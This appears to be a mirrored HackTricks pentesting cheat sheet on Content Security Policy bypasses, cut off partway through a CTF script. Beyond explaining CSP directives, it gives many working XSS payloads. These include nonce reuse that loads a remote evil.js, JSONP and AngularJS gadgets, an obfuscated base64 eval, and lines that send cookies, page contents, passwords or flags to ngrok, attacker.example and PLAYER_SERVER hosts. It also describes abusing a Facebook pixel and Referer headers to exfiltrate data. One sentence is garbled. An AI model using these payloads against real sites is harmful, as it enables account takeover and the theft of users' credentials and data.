daemon-sec-cheatsheet

overview.md (53149B)

---

 ---
 title: "Content Security Policy (CSP) Bypass"
 section: "Web Pentesting"
 sectionSlug: "pentesting-web"
 sourcePath: "src/pentesting-web/content-security-policy-csp-bypass/README.md"
 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/content-security-policy-csp-bypass/README.md"
 sha: "188de82beb54e70956b2952367a0af91d26758b8"
 isIndex: true
 modified: true
 license: "CC-BY-NC-4.0"
 ---
 
 # Content Security Policy (CSP) Bypass
 
 ## What is CSP
 
 Content Security Policy (CSP) is recognized as a browser technology, primarily aimed at **shielding against attacks such as cross-site scripting (XSS)**. It functions by defining and detailing paths and sources from which resources can be securely loaded by the browser. These resources encompass a range of elements such as images, frames, and JavaScript. For instance, a policy might permit the loading and execution of resources from the same domain (self), including inline resources and the execution of string code through functions like `eval`, `setTimeout`, or `setInterval`.<sup>[[1]](#references)</sup>
 
 Implementation of CSP is conducted through **response headers** or by incorporating **meta elements into the HTML page**. Following this policy, browsers proactively enforce these stipulations and immediately block any detected violations.
 
 - Implemented via response header:
 
 ```text
 Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
 ```
 
 - Implemented via meta tag:
 
 ```xml
 <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
 ```
 
 ### Headers
 
 CSP can be enforced or monitored using these headers:
 
 - `Content-Security-Policy`: Enforces the CSP; the browser blocks any violations.
 - `Content-Security-Policy-Report-Only`: Used for monitoring; reports violations without blocking them. Ideal for testing in pre-production environments.
 
 ### Defining Resources
 
 CSP restricts the origins for loading both active and passive content, controlling aspects like inline JavaScript execution and the use of `eval()`. An example policy is:
 
 ```bash
 default-src 'none';
 img-src 'self';
 script-src 'self' https://code.jquery.com;
 style-src 'self';
 report-uri /cspreport
 font-src 'self' https://addons.cdn.mozilla.net;
 frame-src 'self' https://ic.paypal.com https://paypal.com;
 media-src https://videos.cdn.mozilla.net;
 object-src 'none';
 ```
 
 ### Directives
 
 - **script-src**: Allows specific sources for JavaScript, including URLs, inline scripts, and scripts triggered by event handlers or XSLT stylesheets.
 - **default-src**: Sets a default policy for fetching resources when specific fetch directives are absent.
 - **child-src**: Specifies allowed resources for web workers and embedded frame contents.
 - **connect-src**: Restricts URLs which can be loaded using interfaces like fetch, WebSocket, XMLHttpRequest.
 - **frame-src**: Restricts URLs for frames.
 - **frame-ancestors**: Specifies which sources can embed the current page, applicable to elements like `<frame>`, `<iframe>`, `<object>`, `<embed>`, and `<applet>`.
 - **img-src**: Defines allowed sources for images.
 - **font-src**: Specifies valid sources for fonts loaded using `@font-face`.
 - **manifest-src**: Defines allowed sources of application manifest files.
 - **media-src**: Defines allowed sources for loading media objects.
 - **object-src**: Defines allowed sources for `<object>`, `<embed>`, and `<applet>` elements.
 - **base-uri**: Specifies allowed URLs for loading using `<base>` elements.
 - **form-action**: Lists valid endpoints for form submissions.
 - **plugin-types**: Restricts mime types that a page may invoke.
 - **upgrade-insecure-requests**: Instructs browsers to rewrite HTTP URLs to HTTPS.
 - **sandbox**: Applies restrictions similar to the sandbox attribute of an `<iframe>`.
 - **report-to**: Specifies a group to which a report will be sent if the policy is violated.
 - **worker-src**: Specifies valid sources for Worker, SharedWorker, or ServiceWorker scripts.
 - **prefetch-src**: Specifies valid sources for resources that will be fetched or prefetched.
 - **navigate-to**: Restricts the URLs to which a document can navigate by any means (a, form, window.location, window.open, etc.)
 
 ### Sources
 
 - `*`: Allows all URLs except those with `data:`, `blob:`, `filesystem:` schemes.
 - `'self'`: Allows loading from the same domain.
 - `'data'`: Allows resources to be loaded via the data scheme (e.g., Base64 encoded images).<sup>[[2]](#references)</sup>
 - `'none'`: Blocks loading from any source.
 - `'unsafe-eval'`: Allows the use of `eval()` and similar methods, not recommended for security reasons.
 - `'unsafe-hashes'`: Enables specific inline event handlers.
 - `'unsafe-inline'`: Allows the use of inline resources like inline `<script>` or `<style>`, not recommended for security reasons.
 - `'nonce'`: A whitelist for specific inline scripts using a cryptographic nonce (number used once).
   - If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:<sup>[[3]](#references)</sup>
 
 <details>
 
 <summary>Load script reusing nonce</summary>
 
 ```html
 <!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
 <img
   src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/content-security-policy-csp-bypass/x"
   ng-on-error='
 doc=$event.target.ownerDocument;
 a=doc.defaultView.top.document.querySelector("[nonce]");
 b=doc.createElement("script");
 b.src="//example.com/evil.js";
 b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```
 
 </details>
 
 - `'sha256-<hash>'`: Whitelists scripts with a specific sha256 hash.
 - `'strict-dynamic'`: Allows loading scripts from any source if it has been whitelisted by a nonce or hash.
 - `'host'`: Specifies a specific host, like `example.com`.
 - `https:`: Restricts URLs to those that use HTTPS.
 - `blob:`: Allows resources to be loaded from Blob URLs (e.g., Blob URLs created via JavaScript).
 - `filesystem:`: Allows resources to be loaded from the filesystem.
 - `'report-sample'`: Includes a sample of the violating code in the violation report (useful for debugging).
 - `'strict-origin'`: Similar to 'self' but ensures the protocol security level of the sources matches the document (only secure origins can load resources from secure origins).
 - `'strict-origin-when-cross-origin'`: Sends full URLs when making same-origin requests but only sends the origin when the request is cross-origin.
 - `'unsafe-allow-redirects'`: Allows resources to be loaded that will immediately redirect to another resource. Not recommended as it weakens security.
 
 ## Unsafe CSP Rules
 
 ### 'unsafe-inline'
 
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-inline';
 ```
 
 Working payload: `"/><script>alert(1);</script>`<sup>[[4]](#references)</sup>
 
 #### self + 'unsafe-inline' via Iframes
 
 
 [Csp Bypass Self + Unsafe Inline With Iframes](/hacktricks/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-unsafe-inline-with-iframes)
 
 ### 'unsafe-eval'
 
 > [!CAUTION]
 > This is not working, for more info [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
 
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-eval';
 ```
 
 Working payload:
 
 ```html
 <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
 ```
 
 ### strict-dynamic
 
 If you can somehow make an **allowed JS code created a new script tag** in the DOM with your JS code, because an allowed script is creating it, the **new script tag will be allowed to be executed**.
 
 ### Wildcard (\*)
 
 ```yaml
 Content-Security-Policy: script-src 'self' https://google.com https: data *;
 ```
 
 Working payload:
 
 ```html
 "/>'><script src=https://attacker-website.com/evil.js></script>
 "/>'><script src=data:text/javascript,alert(1337)></script>
 ```
 
 ### Lack of object-src and default-src
 
 > [!CAUTION] > **It looks like this is not longer working**
 
 ```yaml
 Content-Security-Policy: script-src 'self' ;
 ```
 
 Working payloads:
 
 ```html
 <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
 ">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
 <param name="AllowScriptAccess" value="always"></object>
 ```
 
 ### File Upload + 'self'
 
 ```yaml
 Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
 
 If you can upload a JS file you can bypass this CSP:
 
 Working payload:
 
 ```html
 "/>'><script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//uploads/picture.png.js"></script>
 ```
 
 However, it's highly probable that the server is **validating the uploaded file** and will only allow you to **upload determined type of files**.
 
 Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **select MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/\***.
 
 From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
 
 ### Form-action
 
 If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).<sup>[[5]](#references)</sup> Also, notice that `default-src` does not cover form actions.
 
 #### Credential theft with same-origin `GET` + `Referer` leak
 
 Even if the page uses a **very strict CSP** such as `default-src 'none'; script-src 'none'; style-src 'none'; img-src 'none'; connect-src 'none'; frame-src 'none'; form-action 'self'`, a **reflected HTML injection** in a login page can still steal saved credentials **without JavaScript**:
 
 1. Inject a fake login form in the trusted origin:
 
 ```html
 <form action="/">
   <input type="email" name="email" />
   <input type="password" name="password" />
   <input type="submit" />
 </form>
 ```
 
 2. If the victim has credentials saved for that origin, the browser password manager may **autofill the injected fields**.
 3. Because the form has no `method`, HTML defaults to **`GET`**, so clicking submit moves the credentials into the URL, such as `/?email=victim%40mail.com&password=Secret123`.
 4. If the injection is reflected again, a second-stage payload can force a navigation that leaks that credential-bearing URL in the **`Referer`** header:
 
 ```html
 <meta name="referrer" content="unsafe-url">
 <meta http-equiv="Refresh" content="0;url=https://attacker.example/">
 ```
 
 This is useful when `form-action 'self'` blocks direct submission to an attacker-controlled domain: the victim first submits to the **same origin**, then the reflected page immediately **redirects** cross-origin and leaks the full previous URL via `Referer`.<sup>[[6]](#references)</sup>
 
 **Notes:**
 
 - `strict-origin-when-cross-origin` is the modern default referrer policy, so attackers often need to **inject** a weaker policy such as `unsafe-url` to include path and query string cross-origin.<sup>[[7]](#references)</sup>
 - `<meta http-equiv="Refresh">` is attractive in HTML-only exploits because it doesn't require JavaScript and often survives CSPs that only restrict scripts/connections.
 - If inline CSS is allowed, an invisible full-page submit button can turn this into an **any-click** attack:
 
 ```html
 <input type="submit" style="position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:999999;opacity:0">
 ```
 
 **Test cases / impact upgrades:**
 
 - Reflected HTML injection on **login pages** or any page where password autofill is active
 - Credential-bearing forms that accidentally allow **`GET`**
 - Missing or weak `Referrer-Policy`
 - Secrets in URLs becoming exposed to **history, logs, analytics, reverse proxies, and cross-origin `Referer` headers**
 
 **Defensive notes:** fixing the HTML injection is the real fix. Defense in depth includes **forcing `POST` for credential forms**, setting an explicit restrictive `Referrer-Policy` (for example `no-referrer` or `same-origin`), and auditing whether password managers autofill attacker-injected forms rendered on trusted origins.
 
 ### Third Party Endpoints + ('unsafe-eval')
 
 > [!WARNING]
 > For some of the following payload **`unsafe-eval` is not even needed**.
 
 ```yaml
 Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
 ```
 
 Load a vulnerable version of angular and execute arbitrary JS:
 
 ```xml
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
 <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
 
 
 "><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
 
 
 "><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
 <div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
 
 
 With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
 <script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
 <iframe/ng-app/ng-csp/srcdoc="
   <script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
   </script>
   <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
 >
 ```
 
 #### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
 
 > [!TIP]
 > The post shows that you could **load** all **libraries** from `cdn.cloudflare.com` (or any other allowed JS libraries repo), execute all added functions from each library, and check **which functions from which libraries return the `window` object**.<sup>[[8]](#references)</sup>
 
 ```html
 <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
 <div ng-app ng-csp>
  {{$on.curry.call().alert(1)}}
  {{[].empty.call().alert([].empty.call().document.domain)}}
  {{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
 </div>
 
 
 <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
 <div ng-app ng-csp>
   {{$on.curry.call().alert('xss')}}
 </div>
 
 
 <script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
 <div ng-app ng-csp>
   {{[].erase.call().alert('xss')}}
 </div>
 ```
 
 Angular XSS from a class name:
 
 ```html
 <div ng-app>
   <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
 </div>
 ```
 
 #### Abusing google recaptcha JS code
 
 According to [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) you can abuse [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) inside a CSP to execute arbitrary JS code bypassing the CSP:<sup>[[9]](#references)</sup><sup>[[35]](#references)</sup>
 
 ```html
 <div
   ng-controller="CarouselController as c"
   ng-init="c.init()"
 >
 &#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
 <div carousel><div slides></div></div>
 
 <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
 ```
 
 More [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):<sup>[[3]](#references)</sup>
 
 ```html
 <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
 
 <!-- Trigger alert -->
 <img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/content-security-policy-csp-bypass/x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
 
 <!-- Reuse nonce -->
 <img
   src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/content-security-policy-csp-bypass/x"
   ng-on-error='
 	doc=$event.target.ownerDocument;
 	a=doc.defaultView.top.document.querySelector("[nonce]");
 	b=doc.createElement("script");
 	b.src="//example.com/evil.js";
 	b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```
 
 #### Abusing www.google.com for open redirect
 
 The following URL redirects to example.com (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):<sup>[[10]](#references)</sup>
 
 ```text
 https://www.google.com/amp/s/example.com/
 ```
 
 Abusing \*.google.com/script.google.com
 
 It's possible to abuse Google Apps Script to receive information in a page inside script.google.com. Like it's [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).<sup>[[11]](#references)</sup>
 
 ### Third Party Endpoints + JSONP
 
 ```http
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
 
 Scenarios like this where `script-src` is set to `self` and a particular domain which is whitelisted can be bypassed using JSONP. JSONP endpoints allow insecure callback methods which allow an attacker to perform XSS, working payload:<sup>[[12]](#references)</sup>
 
 ```html
 "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
 "><script src="https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src//api/jsonp%3Fcallback%3D%28function%28%29%7Bwindow.top.location.href%3D%60http%3A/f6a81b32f7f7.ngrok.io/cooookie%60%2Bdocument.cookie%3B%7D%29%28%29%3B/README.md"></script>
 ```
 
 ```html
 https://www.youtube.com/oembed?callback=alert;
 <script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
 ```
 
 ```html
 <script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
 ```
 
 [**JSONBee**](https://github.com/zigoo0/JSONBee) **contains ready to use JSONP endpoints to CSP bypass of different websites.**
 
 The same vulnerability will occur if the **trusted endpoint contains an Open Redirect** because if the initial endpoint is trusted, redirects are trusted.
 
 ### Third Party Abuses
 
 As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), there are many third party domains, that might be allowed somewhere in the CSP, can be abused to either exfiltrate data or execute JavaScript code.<sup>[[13]](#references)</sup> Some of these third-parties are:
 
 | Entity            | Allowed Domain                               | Capabilities |
 | ----------------- | -------------------------------------------- | ------------ |
 | Facebook          | www.facebook.com, \*.facebook.com            | Exfil        |
 | Hotjar            | \*.hotjar.com, ask.hotjar.io                 | Exfil        |
 | Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net            | Exec         |
 | Amazon CloudFront | \*.cloudfront.net                            | Exfil, Exec  |
 | Amazon AWS        | \*.amazonaws.com                             | Exfil, Exec  |
 | Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
 | Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec  |
 | Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec  |
 
 If you find any of the allowed domains in the CSP of your target, chances are that you might be able to bypass the CSP by registering on the third-party service and, either exfiltrate data to that service or to execute code.
 
 For example, if you find the following CSP:
 
 ```text
 Content-Security-Policy​: default-src 'self’ www.facebook.com;​
 ```
 
 or
 
 ```text
 Content-Security-Policy​: connect-src www.facebook.com;​
 ```
 
 You should be able to exfiltrate data, similarly as it has always be done with [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/).<sup>[[14]](#references)</sup><sup>[[15]](#references)</sup> In this case, you follow these general steps:
 
 1. Create a Facebook Developer account here.
 2. Create a new "Facebook Login" app and select "Website".
 3. Go to "Settings -> Basic" and get your "App ID"
 4. In the target site you want to exfiltrate data from, you can exfiltrate data by directly using the Facebook SDK gadget "fbq" through a "customEvent" and the data payload.
 5. Go to your App "Event Manager" and select the application you created (note the event manager could be found in an URL similar to this: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
 6. Select the tab "Test Events" to see the events being sent out by "your" web site.
 
 Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attacker's Facebook developer account app-id and issue a custom event like this:
 
 ```javascript
 fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
 fbq('trackCustom', 'My-Custom-Event',{​
     data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
 });
 ```
 
 As for the other seven third-party domains specified in the previous table, there are many other ways you can abuse them. Refer to the previously [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) for additional explanations about other third-party abuses.<sup>[[13]](#references)</sup>
 
 ### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
 
 In addition to the aforementioned redirection to bypass path restrictions, there is another technique called Relative Path Overwrite (RPO) that can be used on some servers.
 
 For example, if CSP allows the path `https://example.com/scripts/react/`, it can be bypassed as follows:
 
 ```html
 <script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
 ```
 
 The browser will ultimately load `https://example.com/scripts/angular/angular.js`.
 
 This works because for the browser, you are loading a file named `..%2fangular%2fangular.js` located under `https://example.com/scripts/react/`, which is compliant with CSP.
 
 ∑, they will decode it, effectively requesting `https://example.com/scripts/react/../angular/angular.js`, which is equivalent to `https://example.com/scripts/angular/angular.js`.
 
 By **exploiting this inconsistency in URL interpretation between the browser and the server, the path rules can be bypassed**.<sup>[[16]](#references)</sup>
 
 The solution is to not treat `%2f` as `/` on the server-side, ensuring consistent interpretation between the browser and the server to avoid this issue.
 
 Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
 
 ### Iframes JS execution
 
 
 [Iframes In Xss And Csp](/hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp)
 
 ### missing **base-uri**
 
 If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).<sup>[[16]](#references)</sup>
 
 Moreover, if the **page is loading a script using a relative path** (like `<script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//js/app.js">`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
 If the vulnerable page is loaded with **httpS**, make use an httpS url in the base.
 
 ```html
 <base href="https://www.attacker.com/" />
 ```
 
 ### AngularJS events
 
 A specific policy known as Content Security Policy (CSP) may restrict JavaScript events. Nonetheless, AngularJS introduces custom events as an alternative. Within an event, AngularJS provides a unique object `$event`, referencing the native browser event object. This `$event` object can be exploited to circumvent the CSP. Notably, in Chrome, the `$event/event` object possesses a `path` attribute, holding an object array implicated in the event's execution chain, with the `window` object invariably positioned at the end. This structure is pivotal for sandbox escape tactics.
 
 By directing this array to the `orderBy` filter, it's possible to iterate over it, harnessing the terminal element (the `window` object) to trigger a global function like `alert()`. The demonstrated code snippet below elucidates this process:
 
 ```xml
 <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
 ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
 ```
 
 This snippet highlights the usage of the `ng-focus` directive to trigger the event, employing `$event.path|orderBy` to manipulate the `path` array, and leveraging the `window` object to execute the `alert()` function, thereby revealing `document.cookie`.
 
 **Find other Angular bypasses in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
 
 ### AngularJS and whitelisted domain
 
 ```text
 Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
 ```
 
 A CSP policy that whitelists domains for script loading in an Angular JS application can be bypassed through the invocation of callback functions and certain vulnerable classes. Further information on this technique can be found in a detailed guide available on this [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).<sup>[[17]](#references)</sup><sup>[[36]](#references)</sup>
 
 Working payloads:
 
 ```html
 <script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
 ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
 
 <!-- no longer working -->
 <script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
 ```
 
 Other JSONP arbitrary execution endpoints can be found in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (some of them were deleted or fixed)
 
 ### Bypass via Redirection
 
 What happens when CSP encounters server-side redirection? If the redirection leads to a different origin that is not allowed, it will still fail.
 
 However, according to the description in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), if the redirection leads to a different path, it can bypass the original restrictions.<sup>[[18]](#references)</sup>
 
 Here's an example:
 
 ```html
 <!DOCTYPE html>
 <html>
   <head>
     <meta
       http-equiv="Content-Security-Policy"
       content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
   </head>
   <body>
     <div id="userContent">
       <script src="https://https://www.google.com/test"></script>
       <script src="https://https://www.google.com/a/test"></script>
       <script src="http://localhost:5555/301"></script>
     </div>
   </body>
 </html>
 ```
 
 If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP.
 
 However, the final `http://localhost:5555/301` will be **redirected on the server-side to `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Since it is a redirection, the **path is not considered**, and the **script can be loaded**, thus bypassing the path restriction.
 
 With this redirection, even if the path is specified completely, it will still be bypassed.
 
 Therefore, the best solution is to ensure that the website does not have any open redirect vulnerabilities and that there are no domains that can be exploited in the CSP rules.
 
 ### Bypass CSP with dangling markup
 
 Read [how here](../dangling-markup-html-scriptless-injection/index.html).
 
 ### 'unsafe-inline'; img-src \*; via XSS
 
 ```text
 default-src 'self' 'unsafe-inline'; img-src *;
 ```
 
 `'unsafe-inline'` means that you can execute any script inside the code (XSS can execute code) and `img-src *` means that you can use in the webpage any image from any resource.
 
 You can bypass this CSP by exfiltrating the data via images (in this occasion the XSS abuses a CSRF where a page accessible by the bot contains an SQLi, and extract the flag via an image):<sup>[[19]](#references)</sup>
 
 ```javascript
 <script>
   fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
   Image().src='http://PLAYER_SERVER/?'+_)
 </script>
 ```
 
 From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)<sup>[[19]](#references)</sup>
 
 You could also abuse this configuration to **load javascript code inserted inside an image**. If for example, the page allows loading images from Twitter. You could **craft** an **special image**, **upload** it to Twitter and abuse the "**unsafe-inline**" to **execute** a JS code (as a regular XSS) that will **load** the **image**, **extract** the **JS** from it and **execute** **it**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)<sup>[[20]](#references)</sup>
 
 ### With Service Workers
 
 Service workers **`importScripts`** function isn't limited by CSP:
 
 
 [Abusing Service Workers](/hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers)
 
 ### Policy Injection
 
 **Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)<sup>[[21]](#references)</sup>
 
 #### Chrome
 
 If a **parameter** sent by you is being **pasted inside** the **declaration** of the **policy,** then you could **alter** the **policy** in some way that makes **it useless**. You could **allow script 'unsafe-inline'** with any of these bypasses:
 
 ```bash
 script-src-elem *; script-src-attr *
 script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
 ```
 
 Because this directive will **overwrite existing script-src directives**.\
 You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
 
 #### Edge
 
 In Edge is much simpler. If you can add in the CSP just this: **`;_`** **Edge** would **drop** the entire **policy**.\
 Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
 
 ### img-src \*; via XSS (iframe) - Time attack
 
 Notice the lack of the directive `'unsafe-inline'`\
 This time you can make the victim **load** a page in **your control** via **XSS** with a `<iframe`. This time you are going to make the victim access the page from where you want to extract information (**CSRF**). You cannot access the content of the page, but if somehow you can **control the time the page needs to load** you can extract the information you need.
 
 This time a **flag** is going to be extracted, whenever a **char is correctly guessed** via SQLi the **response** takes **more time** due to the sleep function. Then, you will be able to extract the flag:<sup>[[19]](#references)</sup>
 
 ```html
 <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
 <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
 <script>
   let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
   function gen(x) {
